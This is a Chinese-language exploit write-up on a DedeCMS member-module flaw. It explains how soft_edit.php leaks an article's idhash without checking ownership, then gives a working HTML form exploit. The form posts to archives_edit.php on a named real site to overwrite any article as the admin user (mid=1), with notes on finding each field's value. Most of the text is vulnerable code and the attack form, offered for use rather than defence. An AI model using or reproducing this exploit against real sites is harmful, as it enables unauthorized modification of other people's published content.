作者:心灵

    这个漏洞不足以得到马儿,但能修改任何文章,也算是一个严重的漏洞!

    废话不说,经典对白,看代码!

member\soft_edit.php:

if(empty($dopost))  //如果这里是空也就是直接访问这个文件
{
    //读取归档信息
    $arcQuery = "Select
  #@__channeltype.typename as channelname,
  #@__arcrank.membername as rankname,
  #@__channeltype.arcsta,
  #@__archives.*
  From #@__archives
  left join #@__channeltype on #@__channeltype.id=#@__archives.channel
  left join #@__arcrank on #@__arcrank.rank=#@__archives.arcrank
  where #@__archives.id='$aid'";
//悲剧了 没有验证MID信息 AID这里就是文章ID 可以自定义!
    $dsql->SetQuery($arcQuery);
    $row = $dsql->GetOne($arcQuery);

//省略一堆验证代码....
include(DEDEMEMBER."/templets/soft_edit.htm"); //载入模板[code]
//再看这个soft_edit.htm 的代码
//其中一段是
  <input type="hidden" name="idhash" value="<?php echo md5($row['id'].$cfg_cookie_encode); ?>" />

    //输出了  idhash 这个很重要 
    //这样就得到了要修改文章的idhash

    //然后用修改文章的文件去利用
    看代码:

archives_edit.php:

if($dopost=='save')
{
    include(DEDEMEMBER.'/inc/archives_check_edit.php');  //这里是验证idhash
//省略一堆没用的代码
$upQuery = "Update `#@__archives` set
    ismake='$ismake',
    arcrank='$arcrank',
    typeid='$typeid',
    title='$title',
    litpic='$litpic',
    description='$description',
    keywords='$keywords', 
    mtype = '$mtypesid',       
    flag='$flag'
    where id='$aid' And mid='$mid'; ";  //默认的MID是1 也就是ADMIN管理员  aid就是文章ID

现在看下 archives_check_edit.php 这个文件:

$ckhash = md5($aid.$cfg_cookie_encode);
if($ckhash!=$idhash)   //idhash就是这样用的
{
        ShowMsg('校对码错误,你没权限修改此文档或操作不合法!','-1');
        exit();
}

    //这样就成功修改文章了

Exp:

<form method="post" action="http://www.t00ls.net/member/archives_edit.php?dopost=save" enctype="multipart/form-data" id="upload">
  <label>
    <input name="aid" type="text" value="44003" />   //这里是文章ID 自己在plus/view.php里找
  </label>
  <label>
    <input name="mid" type="text" value="1" />    //发布人的MID 默认ADMIN是1
  </label>
  <label>
    <input name="typeid" type="text" value="1" />  // 栏目ID  不知道的就自己新发表一篇然后看源代码找到可以发布的ID
  </label>
  <label>
    <input name="title" type="text" value="test" />  //文章标题
  </label>
  <label>
    <input name="description" type="text" value="test" />  //文章内容
  </label>
  <label>
    <input name="idhash" type="text" value="32bbac95e90baaffad905bb3d44edd9f" />  //idhash 在第一步里说了怎么获取了
  </label>
  <label>
    <input name="vdcode" type="text" value="1" />  //验证码。。新发布文章就能获取
  </label>
  <div></div>
  <input name="respondids" value="确定修改 " class="coolbg np" type="submit"> 
</form>

    这样就能任意修改任何文章了..........